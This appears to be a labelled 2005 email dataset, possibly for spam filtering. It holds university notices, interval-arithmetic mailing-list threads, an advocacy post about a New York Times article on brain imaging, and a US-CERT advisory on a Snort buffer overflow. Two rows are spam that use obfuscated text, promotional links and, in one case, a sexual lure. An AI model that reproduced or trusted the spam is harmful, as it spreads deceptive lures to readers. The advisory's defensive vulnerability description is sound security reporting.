cherr@uoregon.edu,cherr@uoregon.edu,"Mon, 17 Oct 2005 13:04:50 -0700",MyLabSchool Free Access,"Here is a chance for those of you who chose not to purchase access to MyLabSchool to access the website for the first two bonus opportunities without having to pay. For those of you who paid, I'm sorry. I had no idea the company was going to do this, or I would have had you all wait and not purchase access. Here's what you need to do: Between now and Oct. 21, go to www.mylabschool.com and log on as a student. On the home page, choose ""courses"", then ""special Education"", and you will find access to the video clips you need to view. View each of the video clips required for the bonus activities, and then write your reactions on your own word processor and save the files. You can submit the first one now, and then submit the second one at the appropriate time without having to go back onto MyLabSchool. Here's the info from the publisher. Cindy Dear Professor Herr, Announcing a MyLabSchool Open House! < http://www.mylabschool.com > >From October 10 - 21, MyLabSchool will have open-access for all students and professors. MyLabSchool is Allyn & Bacon Education's one-stop website for everything your students need to prepare for their first teaching job: * Hours of video, in three to five minute clips and organized by topic, of real classrooms * A tool for building standards-based lesson plans and professional portfolios * PRAXIS prep and practice tests * Over one hundred classroom-tested, standards-based lesson plans * A source for help in preparing for the job interview process, including help creating a resume * And lots, lots more! The site, < http://mylabschool > is temporarily open to give your students an opportunity to explore all the great features the site has to offer. I invite you to pass this news along to your students, and ask them if MyLabSchool access would be valuable to them.",0,1 Karen Nelson ,duckvoice@lists.uoregon.edu,"Mon, 17 Oct 2005 15:23:48 -0700",duckvoice: Quackin Action,"> > >Attention All Student Athletes: > >""Community Service Opportunity"" > >What: Quackin' Action > >When: Sunday, November 13th, 2005 12:30pm-3pm > >Description: Quackin' Action is a fun event where elementary school >students from the greater Oregon area come to meet and interact with >the U of O student athletes. Come play games, sign autographs and >make a difference in a kid's life! This event is mandatory for all >EDLD classes, but upperclassmen are strongly encouraged to attend as >well. > >If you have any questions or comments, you can direct them to your >SAAC representative or contact Joanna Gail or Amie >Morris . > >Thanks! Hope to see you there. > > > Karen Nelson Assistant Athletic Director - Student-Services Director of SOAR /CHAMPS Life Skills (541) 346-6103 FAX (541)346-6458 tjnelson@uoregon.edu",0,0 Ray Moore ,"Wayne Hayes , reliable_computing@interval.louisiana.edu","Mon, 17 Oct 2005 16:25:14 -0400",Re: how to solve a interval ODE that sensitive to initial value??,"Very nice work, Wayne ! Excellent reply to the question from the gentleman in China. I was just going to answer ""it depends"". Best regards, Ray Moore ----- Original Message ----- From: ""Wayne Hayes"" To: Sent: Monday, October 17, 2005 1:33 PM Subject: Re: how to solve a interval ODE that sensitive to initial value?? > On Mon, Oct 17, 2005 at 09:42:47PM +0800, gfdong wrote: >> as we know , some non-linear function will be sensitive to initial value. >> >> for example , y\\' =f(y,t) y0=[y0_min , y0_max] >> the interval at the t_end will be very large so the result will be >> meaningless ,right? > > In the forward error sense, the interval at t_end could be large, if > the duration of the integration is many Lyapunov times (assuming a > small excess). The Lyapunov time is the inverse of the Lyapunov > exponent, and essentially measures the time it takes for the distance > between two nearby solutions to increase by a factor of Euler's > constant. > > However, there is a form of backward error analyis called ""shadowing"" > that is sometimes (not always) applicable. A ""shadow"" of a numerical > solution is an exact solution remaining close to the numerical solution > for a long time. In particular, if the initial value ODE is > > y'(t) = f(y), y(t0) = y0, > > and the numerical solution is s(t), t0 <= t <= t1, then a shadow x(t) > is a solution satisfying > > x'(t) = f(x), x(t0) = x0, > > such that > > || x(t) - y(t) || < epsilon > > for all t0 <= t <= t1, for some t1 > t0. If |t1 - t0| is ""long"" > (with a problem- and user-dependent defiinition of what is ""long""), > then the numerical solution s(t) is meaningful in that it can be > viewed as an ""observation"" of an exact solution, with epsilon being > the ""observational error"". People such as experimental physicists > are very comfortable with this idea of observational error and thus > shadowing is applicable to some physical simulations. Of course, > a numerical solution is typically a sequence of points rather than > a continuous curve s(t), but this restriction is easy to accomodate. > In some cases a shadow can be proven to exist in the validated interval > sense, although it is even more computationtally expensive than validated > ODE integration. There also exist less rigorous but cheaper non-validated > shadowing algorithms. > > You can find out more about shadowing, including a bunch of papers, > on my web page, > > http://www.ics.uci.edu/~wayne > > There are some (published) survey papers with many references therein. > > - Wayne > >",0,1 George Corliss ,"gfdong@sjtu.edu.cn, reliable_computing@interval.louisiana.edu","Mon, 17 Oct 2005 16:35:23 -0500",Re: how to solve a interval ODE that sensitive to initial value??,"> as we know , some non-linear function will be sensitive to initial value. > > for example , y\\' =f(y,t) y0=[y0_min , y0_max] > the interval at the t_end will be very large so the result will be meaningless > ,right? Since you included my talk, I should respond, too. First, I second Wayne's response. Second, you might consult the work of Martin Berz and his COSY Infinity system. He tracks particle trajectories in accelerators through many revolutions to validate the stability of the accelerator. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu ",0,0 Dino Petersen ,shawn@cs.utexas.edu,"Mon, 17 Oct 2005 15:48:27 -0500",Invitation to United Arab Emirates pdist," Never-ending register of terrible plow Irresistible las$e$ are intimate merci1ess http://69urlsonline.info > sonvert bonplast tonwand anybody relieves > no one capetown ieustickerei mesenteric us tafeln ",1,1 Adam Nyzio ,cs496a@cs.umass.edu,"Mon, 17 Oct 2005 21:20:46 -0400",[cs496a] kernel tree for the wifi machines,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey everyone, I have uploaded the kernel that we are using on the machines to the following location: http://www.deadhex.net/~adam/linux-2.6.11-otg.tar.bz2 This can be used in case you need to make modifications to the kernel or compile versus some kernel headers. - -- /* Adam Nyzio * http://www.deadhex.net * (413) 214-8181 * gpg --keyserver pgp.mit.edu --recv-keys 8D055942 */ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.1 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDVE3ujbsBIo0FWUIRAnu3AJ9eNu0QqCY7+4rxjhAk50w2ZmGc3ACcC01C MEDHHLmL7h7RDY80TS4gmck= =o1rM -----END PGP SIGNATURE----- --------------------------------------------------- --------------------------------------------------- CONTRIBUTIONS: Mail to cs496a@cs.umass.edu UNSUBSCRIBE: Send ""unsubscribe cs496a"" to majordomo@cs.umass.edu PROBLEMS: Report to owner-cs496a@cs.umass.edu TO SUBSCRIBE: Send ""subscribe cs496a"" to majordomo@cs.umass.edu ",0,1 Preston ,reliable_computing-outgoing@interval.louisiana.edu,"Mon, 17 Oct 2005 13:14:29 -0500",Welcome to Japan bartholomaus," Outrage0us bid y0ung gir1s charts http://bteacherjm.com > underneath rusen in tallitis 4677959 > acacia whether...or rucked except kubp ",1,1 Andrzej Pownuk ,reliable_computing@interval.louisiana.edu,"Tue, 18 Oct 2005 08:14:57 +0200",RE: How to solve DAE with an interval initial condition or an interval parameter?,"I have one very simple but efficient method for solution of the interval equations. If you have particular problem then you know more or less how the solution y=y(t,h) behave (h is an interval parameter, t is a time). Then you can calculate the derivative of the solution y with respect to the interval parameters [h] (i.e. dy/dh). That should be easy. You can calculate this for the mid point of the interval [h]=[h_inf,h_sup]. If width of the interval [h] (or interval vector) is sufficiently small and the sign of the derivative is constant then you can calculate the extreme values of the solution using the endpoints of the interval [h] (or interval vector). I know that this is very simply method but in many cases it is sufficient. If you need more accurate results then you can expand the derivative using Taylor series dy(h)/dh= dy(h0)/dh+ d^2y(h0)/dh^2*(h-h0)+. and after that check the sign of the derivative. Look at high order monotonicity tests here: http://andrzej.pownuk.com/~andrzej/publications/Pownuk%20A.,%20Numerical%20s olutions%20of%20fuzzy%20partial%20differential%20equations%20and%20its%20app lications%20in%20computational%20mechanics.pdf If the interval [h] is very wide then you can divide it into smaller parts and repeat above procedure. If the sign of the derivative is not constant then . you can divide the interval [h] into smaller parts and check monotonicity again. Well if the solution behave really bad then . . I do not know what to do :). Some information about the solution you can get after calculation of the solution for the endpoints of the interval [h] and some points in the middle of the interval [h]. However the results may be very inaccurate. Above described algorithms do not give you the results with guaranteed accuracy . however sometimes . in my case (civil mechanical engineering examples) these methods give you accurate results in 90% of cases (in my opinion). If one calculate the interval solution using above described methodology then the interval solution has always physical interpretation. There are lot of engineering papers in which the solution is calculated only for endpoints and sometimes that is enough in practice. http://andrzej.pownuk.com/IntervalEquations.htm http://andrzej.pownuk.com/fuzzyPDE.htm In some cases you can also get good results with guaranteed accuracy using interval methods (for example using constraint satisfaction approach or some kind of validated Taylor methods). However if the t is very large the results may be overestimated then we will get a lot of solutions which do not correspond to any parametric solution y(t,h) and because of that do not have any physical interpretation (in such cases the solution is almost meaningless). If the approximation of the interval solution is good then there are no such problems even if the interval solution belong to very large interval (i.e. even very wide interval solution may have very clear meaning and physical interpretation). Regards, Andrzej Pownuk http://andrzej.pownuk.com > My research field is Multibody Dynamics and the core of the simulation is to solve the differenial-algebraic equations. > such as , { y\\' =f(y,t) > { g(y,t)=0 > > now ,i want to solve DAE with an interval initial condition or an interval parameter. > > but, I think the main difficulty is how to ensure abs(g(y,t)) is small enough , if not so ,the DAE\\'s structure will be destroied. > > I find the the amount of articles about this topic is very few , I will be grateful to any comments helpful. > As we know , some non-linear function will be sensitive to initial value. > > for example , y\\' =f(y,t) y0=[y0_min , y0_max] > the interval at the t_end will be very large so the result will be meaningless ,right? ",0,1 Chenyi Hu ,reliable_computing@interval.louisiana.edu,"Tue, 18 Oct 2005 10:32:27 -0500",career opportunity,"Dear Colleagues, The Department of Computer Science at the University of Central Arkansas is actively recruiting candidates to fill a new tenure-track position at assistant/associate professor level. Researchers with strong background in interval computing are welcome to apply. Detailed information about the open position can be found at www.cs.uca.edu The formal advertisement is going to appear in the November issues of both ACM Communications and IEEE Computer. In addition, we also consider applications for visiting positions as well. Thanks for your attention, Chenyi Hu; Ph.D. Professor and Chairman Computer Science Department University of Central Arkansas http://www.cs.uca.edu ",0,1 VERACARE ,VERACARE ,"Tue, 18 Oct 2005 11:10:41 -0400",Psychiatry's Claims Re: Brain Imaging Have Far Outpaced Science_NYT,"ALLIANCE FOR HUMAN RESEARCH PROTECTION (AHRP) Promoting Openness, Full Disclosure, and Accountability www.ahrp.org FYI A front page report in The New York Times Science section pulls the rug out from yet another of psychiatry's myths. Benedict Carey reports: ""Not long ago, scientists predicted that these images, produced by sophisticated brain-scanning techniques, would help cut through the mystery of mental illness , revealing clear brain abnormalities and allowing doctors to better diagnose and treat a wide variety of disorders. And nearly every week, it seems, imaging researchers announce another finding, a potential key to understanding depression , attention deficit disorder, anxiety. Yet for a variety of reasons, the hopes and claims for brain imaging in psychiatry have far outpaced the science, experts say. After almost 30 years, researchers have not developed any standardized tool for diagnosing or treating psychiatric disorders based on imaging studies."" The fact is, brain scans that showed a ""hot spot""--which psychiatry's leadership claimed was evidence of an abnormality, was merely evidence of human individuality: ""a 'hot spot' in one brain may be normal activity in another."" Thus, contrary to ALL claims by organized psychiatry and its leading researchers, brain scans DO NOT prove that mental disorders are biological in nature, nor have brain scans been able to detect differences between brains of normal individuals and those who have a mental illness. The psychiatric establishment--with help from its benefactors in the drug industry--disseminated false claims. Psychiatry's leadership and lobbyists made false claims about PET scans when they lobbied Congress for money. The media, in turn, disseminated the same false information that had been fed to them by psychiatry's stakeholders whose financial interest conflicts with normal individuals under stress. Among those who spread false information about brain scan providing a scientific basis for diagnosing mental illness: the American Psychiatric Association, the American Academy of Child & Adolescent Psychiatry, the National Institute of Mental Health, the American College of Neuropsychiatry, and the so-called patient advocacy groups, most notably, NAMI (National Alliance for the Mentally Ill) The one misstatement in the Times report: "" In a range of studies, researchers have found that people with schizophrenia suffer a progressive loss of their brain cells: a 20-year-old who develops the disorder, for example, might lose 5 percent to 10 percent of overall brain volume over the next decade, studies suggest.” This statement is not supported by a scientifically valid study in which the brain scans of drug naïve patients would be compared with the brain scans of patients who have been taking psychotropic drugs. When you expose a normal brain to antidepressants and / or antipsychotics those drugs have demonstrable effects on the size, chemistry, and functioning of the brain. There is ample evidence that drugs cause the brain to malfunction—there is NO EVIDENCE that mental illness causes permanent brain alterations. Psychiatry’s diagnosis predictors are not unlike Tarot card readers who claim to predict the future. The dissemination of false claims about PET scans has led to a profitable cottage industry. The Times reports: ""At clinics in California, Washington, Illinois, Texas and elsewhere, doctors offer brain scans to people with a variety of conditions,"" from ADHD, depression and aggressive behavior. At $1,000 a test, the brain scan scam is a hugely profitable business. ""The thing for people to understand is that right now, the only thing imaging can tell you is whether you have a brain tumor,"" Contact: Vera Hassner Sharav 212-595-8974 veracare@ahrp.org http://www.nytimes.com/2005/10/18/health/psychology/18imag.html THE NEW YORK TIMES October 18, 2005 Can Brain Scans See Depression? By BENEDICT CAREY They seem almost alive: snapshots of the living human brain. Not long ago, scientists predicted that these images, produced by sophisticated brain-scanning techniques, would help cut through the mystery of mental illness , revealing clear brain abnormalities and allowing doctors to better diagnose and treat a wide variety of disorders. And nearly every week, it seems, imaging researchers announce another finding, a potential key to understanding depression , attention deficit disorder, anxiety. Yet for a variety of reasons, the hopes and claims for brain imaging in psychiatry have far outpaced the science, experts say. After almost 30 years, researchers have not developed any standardized tool for diagnosing or treating psychiatric disorders based on imaging studies. Several promising lines of research are under way. But imaging technology has not lived up to the hopes invested in it in the 1990's - labeled the ""Decade of the Brain"" by the American Psychiatric Association - when many scientists believed that brain scans would turn on the lights in what had been a locked black box. Now, with imaging studies being published at a rate of more than 500 a year, and commercial imaging clinics opening in some parts of the country, some experts say that the technology has been oversold as a psychiatric tool. Other researchers remain optimistic, but they wonder what the data add up to, and whether it is time for the field to rethink its approach and its expectations. ""I have been waiting for my work in the lab to affect my job on the weekend, when I practice as a child psychiatrist,"" said Dr. Jay Giedd, chief of brain imaging in the child psychiatry branch at the National Institute of Mental Health, who has done M.R.I. scans in children Monday through Friday for 14 years. ""It hasn't happened. In this field, every year you hear, 'Oh, it's more complicated than we thought.' Well, you hear that for 10 years, and you start to see a pattern."" Psychiatrists still consider imaging technologies like M.R.I., for magnetic resonance imaging, and PET, for positron emission topography, to be crucial research tools. And the scanning technologies are invaluable as a way to detect physical problems like head trauma, seizure activity or tumors . Moreover, the experts point out, progress in psychiatry is by its nature painstakingly slow, and decades of groundwork typically precede any real advances. But there is a growing sense that brain scan research is still years away from providing psychiatry with anything like the kind of clear tests for mental illness that were hoped for. ""I think that, with some notable exceptions, the community of scientists was excessively optimistic about how quickly imaging would have an impact on psychiatry,"" said Dr. Steven Hyman, a professor of neurobiology at Harvard and the former director of the National Institute of Mental Health. ""In their enthusiasm, people forgot that the human brain is the most complex object in the history of human inquiry, and it's not at all easy to see what's going wrong."" For one thing, brains are as variable as personalities. In a range of studies, researchers have found that people with schizophrenia suffer a progressive loss of their brain cells: a 20-year-old who develops the disorder, for example, might lose 5 percent to 10 percent of overall brain volume over the next decade, studies suggest. Ten percent is a lot, and losses of volume in the frontal lobes are associated with measurable impairment in schizophrenia, psychiatrists have found. But brain volume varies by at least 10 percent from person to person, so volume scans of patients by themselves cannot tell who is sick, the experts say. Studies using brain scans to measure levels of brain activity often suffer from the same problem: what looks like a ""hot spot"" of activity change in one person's brain may be a normal change in someone else's. ""The differences observed are not in and of themselves outside the range of variation seen in the normal population,"" said Dr. Jeffrey Lieberman, chairman of the psychiatry department at Columbia University Medical Center and director of the New York State Psychiatric Institute. To make matters even more complicated, many findings are disputed. In people with severe depression, for instance, researchers have found apparent shrinkage of a part of the temporal lobe called the hippocampus, which is critical for memory. But other investigators have not been able to replicate this finding, and people with injuries to the hippocampus typically suffer amnesia, not depression, psychiatrists say. For problems like attention-deficit disorder and bipolar disorder , the experts say, psychiatrists have much less research on which to base their theories. Most fundamentally, imaging research has not answered the underlying question that the technology itself has raised: which comes first, the disease or the apparent difference in brain structure or function that is being observed? For a definitive answer, researchers would need to follow thousands of people from childhood through adulthood, taking brain scans regularly, and matching them with scans from peers who did not develop a disorder, experts say. Given the expense and difficulty, such a study may never be done, Dr. Hyman said. One investigator has used imaging research to fashion a small, experimental psychiatric treatment. In a series of studies of people with severe depression, Dr. Helen Mayberg, a professor of psychiatry at Emory University in Atlanta, found a baffling pattern of activity. Using PET scanning technology, Dr. Mayberg found sharp dips and spikes of activity in about a half-dozen areas of these patients' brains as their moods improved while they were taking either antidepressant drugs or placebos. The changes were similar in all patients, but it was difficult to tell how the scattering of the dips and spikes were related. By analyzing the peaks and valleys on the scans as part of a circuit - networked together, like a string of Christmas lights - Dr. Mayberg found that one spot in particular seemed to modulate the entire system, like a transformer or a dimmer. She confirmed the importance of this spot, called Brodmann area 25, by scanning the brains of mentally healthy people while they remembered painful episodes from their lives: while sad they, too, showed increased activity in this area. In March, Dr. Mayberg and a team based at the Rotman Research Institute in Toronto reported on six patients who had had electrodes implanted in their brains next to Brodmann area 25. All had been severely depressed for at least a year, and they had responded poorly to available therapies. The implanted electrodes, often used to treat Parkinson's disease, produce a current that slows neural activity, for reasons scientists do not yet understand. So far, the researchers reported in the journal Neuron, four of the six people have shown significant and lasting recovery; all four are still on antidepressant drugs but at reduced doses. And all four have returned to work or their usual routines, Dr. Mayberg said. The widely reported experiment has generated more than 300 requests from people to be considered for the operation, she added. ""It's very important to understand that this is experimental, and the next step is to replicate what we did, with a placebo, and that could send us right back to the drawing board,"" Dr. Mayberg said in an interview. The findings so far are encouraging, she said, ""but the idea that this is something for every severely depressed patient - well, shame on us if we suggest that. The brain is a very big place and we had better have a very good idea of what we're doing before holding this out as a treatment."" Many people would rather not wait for the science of imaging to mature, however. At clinics in California, Washington, Illinois, Texas and elsewhere, doctors offer brain scans to people with a variety of conditions, from attention-deficit hyperactivity disorder, often called A.D.H.D., to depression and aggressive behavior. Dr. Daniel Amen, an adult and child psychiatrist based in Newport Beach, Calif., said he performed 28,000 scans on adults and children over the past 14 years, using a technique called Spect, or single photon emission computed tomography. In an interview, Dr. Amen said that it was unconscionable that the profession of psychiatry was not making more use of brain scans. ""Here we are, giving five or six different medications to children without even looking at the organ we're changing,"" he said. He said the scans had helped him to distinguish between children with attention deficit problems who respond well to stimulants like Ritalin and those who do poorly on the drugs. In a series of books and medical articles, Dr. Amen argued that the images helped convince people that the behavior problems had a biological basis and needed treatment, with drugs or other therapies. ""They increase compliance with treatment and decrease the shame and guilt"" associated with the disorders, he said. At the Brainwaves Neuroimaging Clinic in Houston, doctors use the scans to diagnose and choose treatment for a range of psychiatric problems, according to a clinic spokeswoman. And a variety of doctors advertise the imaging services, particularly for attention-deficit disorder, on the Internet. But the experts who study imaging and psychiatry say there is no evidence that a brain scan, which can cost more than $1,000, adds significantly to standard individual psychiatric exams. ""The thing for people to understand is that right now, the only thing imaging can tell you is whether you have a brain tumor,"" or some other neurological damage, said Paul Root Wolpe, a professor of psychiatry and sociology at the University of Pennsylvania's Center for Bioethics. He added, ""This imaging technology is so far from prime time that to spend thousands of dollars on it doesn't make any sense."" The big payoff from imaging technology, some experts say, may come as researchers combine the scans with other techniques, like genetic or biochemical tests. By radioactively marking specific receptors in the brain, for example, researchers are using brain scans to measure how brain chemicals known to affect mood, like dopamine, behave in people with schizophrenia, compared with mentally healthy peers. Imaging researchers are also studying depression-related circuits to see how they may arise from genetic variations known to put people at risk for depression. And as always, the technology itself is improving: a new generation of M.R.I. scanners, with double the resolution power of the current machines, is becoming more widely available, Dr. Lieberman said. ""With increased resolution, we'll be able to do more sensitive and more precise work, and I would not be surprised if anatomy alone based on volume will be a diagnostic feature,"" he said. ""We have gained an enormous amount knowledge from thousands of imaging studies, we are on the threshold of applying that knowledge, and now it's a matter of getting over the threshold."" But for now, neither he nor anyone else can say when that will happen. * Copyright 2005 The New York Times Company FAIR USE NOTICE: This may contain copyrighted (© ) material the use of which has not always been specifically authorized by the copyright owner. Such material is made available for educational purposes, to advance understanding of human rights, democracy, scientific, moral, ethical, and social justice issues, etc. It is believed that this constitutes a 'fair use' of any such copyrighted material as provided for in Title 17 U.S.C. section 107 of the US Copyright Law. This material is distributed without profit.",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Tue, 18 Oct 2005 14:53:03 -0400",US-CERT Technical Cyber Security Alert TA05-291A -- Snort Back Orifice Preprocessor Buffer Overflow ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA05-291A Snort Back Orifice Preprocessor Buffer Overflow Original release date: October 18, 2005 Last revised: -- Source: US-CERT Systems Affected * Snort versions 2.4.0 to 2.4.2 * Sourcefire Intrusion Sensors Other products that use Snort or Snort components may be affected. Overview The Snort Back Orifice preprocessor contains a buffer overflow that could allow a remote attacker to execute arbitrary code on a vulnerable system. I. Description Snort is a widely-deployed, open-source network intrusion detection system (IDS). Snort and its components are used in other IDS products, notably Sourcefire Intrusion Sensors, and Snort is included with a number of operating system distributions. Snort preprocessors are modular plugins that extend functionality by operating on packets before the detection engine is run. The Back Orifice preprocessor decodes packets to determine if they contain Back Orifice ping messages. The ping detection code does not adequately limit the amount of data that is read from the packet into a fixed-length buffer, thus creating the potential for a buffer overflow. The vulnerable code will process any UDP packet that is not destined to or sourced from the default Back Orifice port (31337/udp). An attacker could exploit this vulnerability by sending a specially crafted UDP packet to a host or network monitored by Snort. US-CERT is tracking this vulnerability as VU#175500. Further information is available in an advisory from Internet Security Systems (ISS). II. Impact A remote attacker who can send UDP packets to a Snort sensor may be able to execute arbitrary code. Snort typically runs with root or SYSTEM privileges, so an attacker could take complete control of a vulnerable system. An attacker does not need to target a Snort sensor directly; the attacker can target any host or network monitored by Snort. III. Solution Upgrade Sourcefire has released Snort 2.4.3 which is available from the Snort download site. For information about other vendors, please see the Systems Affected section of VU#175500. Disable Back Orifice Preprocessor To disable the Back Orifice preprocessor, comment out the line that loads the preprocessor in the Snort configuration file (typically /etc/snort.conf on UNIX and Linux systems): [/etc/snort.conf] ... #preprocessor bo ... Restart Snort for the change to take effect. Restrict Outbound Traffic Consider preventing Snort sensors from initiating outbound connections and restricting outbound traffic to only those hosts and networks that have legitimate requirements to communicate with the sensors. While this will not prevent exploitation of the vulnerability, it may make it more difficult for an attacker to access a compromised system or reconnoiter other systems. Appendix A. References * US-CERT Vulnerability Note VU#175500 - * Fixes and Mitigation Instructions Available for Snort Back Orifice Vulnerability - * Snort downloads - * Snort 2.4.3 Changelog - * Preprocessors - * Snort Back Orifice Parsing Remote Code Execution - ____________________________________________________________________ This vulnerability was researched and reported by Internet Security Systems (ISS). ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. 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Terms of use: ____________________________________________________________________ Revision History Oct 18, 2005: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ1VB130pj593lg50AQLY6wf+Kq/rI3wxG4rGr+OdVrpl3v+TfTMp6MX3 T0e99ybRSGKeWQCleMQYdBYrS+7UyCa28T1yE8ENe4SuYLPj7ttTqpd0AGxn7f8H +qOY0GnJwXvrWlKCfVtAhjo5JFDxgZQV9P/13MwjcsJrGTtHzhuJ8YZc4RtSMyVX 4nf2s4Nymjd2+jIEX9BnwRIe/E47TRdFLSsza36mhKZLZV1lxLdJYywCZSsQLWNM nL9gohRojR/6wQk8sLjef8LCv2JFu3btsqrrblcTWqfB6GhVR9OSUBhL+b8P/mme jVd9eE0OS5v8rzhaEMiYIMI+pEZEpATj4BnVoLwPkLAoD6ObGJKHkQ== =jjID -----END PGP SIGNATURE-----",0,1 minson@uoregon.edu,minson@uoregon.edu,"Tue, 18 Oct 2005 14:47:15 -0700",Class This Week,"Hi everyone! I have uploaded the next set of notes that we will probably start by Friday. Remember...tomorrow we are going to try and nail down the dates for the group presentations so bring your calanders! Also...2 groups have already made their topic choices, so I highly recommend everyone to communicate with their groups to try and come to a consensus on the topic (with Instructor approval, of course!). See you tomorrow!",0,0 Gerardo Ortega Delgado ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Oct 2005 17:20:46 -0500",[DMDX] Mexican Sign Language,"hello everyone, I am doing a study to measure reaction times for users of Mexican Sign Language but I am having some problems running DMDX. Now that i have solved my problem with tuning all the parameters for video mode (thanks for the help, Deborah Kerr) but now everytime I try to run a test programme it keep saying that it cannot recognise keyword. Is this the right way to type the visual video clips? 0 ""Esto es una prueba""; +1 * ""no""; (nb. line 2 in the programme is 'this is a test' in Spanish.) Cheers in advance, -Gerardo Ortega",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 18 Oct 2005 16:03:38 -0700",[DMDX] Re: Mexican Sign Language,"At 05:20 PM 10/18/2005 -0500, you wrote: >hello everyone, > >I am doing a study to measure reaction times for users of Mexican Sign >Language but I am having some problems running DMDX. Now that i have >solved my problem with tuning all the parameters for video mode (thanks >for the help, Deborah Kerr) but now everytime I try to run a test >programme it keep saying that it cannot recognise keyword. Is this >the right way to type the visual video clips? > No, it's not a keyword in DMDX. You want . Like it says in the help when you click the Help button. Or online: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdigitalvideo.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You probably wouldn't worry about what people think of you if you could know how seldom they do. - Olin Miller.",0,1 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Tue, 18 Oct 2005 17:13:42 -0500",[CS382M:23] HW#2 and HW#3: Errata and clarifications,"3.1: Several people grouped instructions 6 and 7 together and said they could be issued together. The question states that we're considering a dynamic pipeline without speculation, which means we cannot group together instructions across basic blocks. 6 doesn't necessarily fall through to 7 since the compiler has freedom in picking the fall-through case between the then and else. 3.18: i) Clarification: My solution assumes a Tomasulo pipeline like Figure 3.29 with a cycle delay for forwarding using the CDB. Notice that the question doesn't require it and doesn't specify a pipeline. ii) Erratum: The SD instructions shouldn't have the 'M' stage in the second, speculative case. Follow the example of figure 3.34. iii) Erratum: My solution for the second, speculative case omits a data dependence between Instruction 4 of iteration 1 and instruction 1 of iteration 2. Later portions of the schedule will have to be worked out after taking this into account. 5.3 b): The solution as handed out incorrectly reads the block size as 32 bytes; it should be 16 bytes if you assume the stride on the x axis to be measured in bytes, or 64 bytes if you assume the stride to be measured in words. The note in the solution is crucial to getting a correct reading. Sorry about the confusion; feel free to contact me for further clarification or regrading issues. Kartik ",0,0 PlayerGuest ,vmayer@gladstone.uoregon.edu,"Wed, 19 Oct 2005 00:00:14 -0400",Ticket Lockout,"TO: Valerie Mayer This is a reminder that you have until 10/21/2005 9:00:00 AM to submit or make changes to your guest list for the game against Oregon State. To make changes, please go to http://www.playerguest.com. ",0,1 """\\""Jürgen Wolff v. Gudenberg\\"""" ","Hervé Brönnimann , Sylvain Pion , Guillaume Melquiond ","Wed, 19 Oct 2005 10:38:30 +0200",Re: C++ Standardization of intervals,"Dear Colleges I think it will be a push forward for interval analysis, if we had a standard interval arithmetic library in C++. Therefore I strongly support your proposal. But we should see that the proposal does not outrule existing applications or advanced libraries.like boost filib++ or C-XSC, e.g. The phrasing of the standard should be clear and easy to understand for compiler writers and other occasional users. We have discussed the proposal on a workshop in Dagstuhl. I attach the result as a pdf file. best regards Juergen WvG Hervé Brönnimann wrote: > Dear fellow intervalers: > > As you may know, we (G. Melquiond, S. Pion, and myself) have been > following Jens Maurer's footsteps in providing a C++ implementation > of intervals. This has resulted in the C++ Boost.Interval library, > which was accepted three years ago after a thorough public review > into Boost. The URL is: > > http://boost.org/libs/numeric/interval/doc/interval.htm > > One of the goals of the Boost.Interval library was standardization. > We hope that by standardization, we will create opportunities for > better optimizations directly in the C++ compilers. The overall > benefit, should the proposal be accepted, is that an efficient and > optimized implementation of intervals would ship with most C++ > compilers, in the same way as the class templates complex and > valarray already do, and as interval already does with the Sun compiler. > > We are now preparing a proposal for the C++ ISO Standard. We have of > course had to make a few choices, but by and large, our approach has > been to make reasonable and conservative choices to limit the > Boost.Interval library (which allows all kinds of behaviors through a > policy-based design). I copy-paste the design overview below. This > is of course a very succinct statement, but it reflects most of the > design choices. The devil may be in the details, but in the broad > design, we have carefully taken into account the Interval FAQ, the > existing Sun implementation, and the discussions. The full > preliminary proposal and code is accessible from Sylvain Pion's web > page: > > http://www-sop.inria.fr/geometrica/team/Sylvain.Pion/cxx/ > > We have already had some comments. If there are enough comments, we > would try to issue a revision before the next C++ standardization > meeting (October, in accordance with the Fall calendar of the C++ > committee), where we will defend the proposal. > > We would like to get your feedback, and want to assure you that we > are committed in getting the best proposal possible, both in terms of > performance, design, and consensus. Also, it is important that you > provide your vocal support (tell us, write a formal letter of > support, etc.) if you would like to see the proposal accepted. We > would like to offer the C++ committee the assurance that the proposal > has the wide support from the interval community. > > Please reply to all three of us (we're in the Cc list) as well as to > the interval list. > > Yours, > -- > Hervé Brönnimann > CIS, Polytechnic University > hbr@poly.edu > > > > Excerpt from the design overview [for information only; for > discussions, please try and read the whole proposal before commenting] > > >> The basic design aims at introducing a single class template >> {interval} which guarantees the inclusion property. Like >> {complex}, we decided to support the three built-in floating >> point types and leave the rest unspecified. We decided to support >> empty intervals, because they can be integrated easily into the >> proposal. We decided to support equality and relational comparisons >> that extend the comparisons on the base type {T}. This implies >> dealing with comparisons of empty or overlapping intervals. Both can >> be made to work very naturally by also providing an {interval} >> as the result of such comparisons, and exceptions can be avoided up >> to this level. In this way, we are supporting both the >> certainly-less-than and possibly-less-than comparison models. In >> order to use comparisons in conditionals, a conversion from >> {interval} to {bool} is provided, and only at that level is an >> exception thrown, when it involves an empty or indeterminate boolean >> interval. The behavior on out-of-domain argument values (in {sqrt}, >> for instance) is a silent and no-exception behaviour, which returns >> the empty interval. >> >> -- Prof. Dr. Juergen Wolff v. Gudenberg o Lehrstuhl fuer Informatik II / \\ Universitaet Wuerzburg Phone: +49 (0)931-888-6602 InfoII o Am Hubland Fax: +49 (0)931-888-6603 / \\ D-97074 Wuerzburg o o http://www2.informatik.uni-wuerzburg.de/staff/wvg/",0,1 Hassan 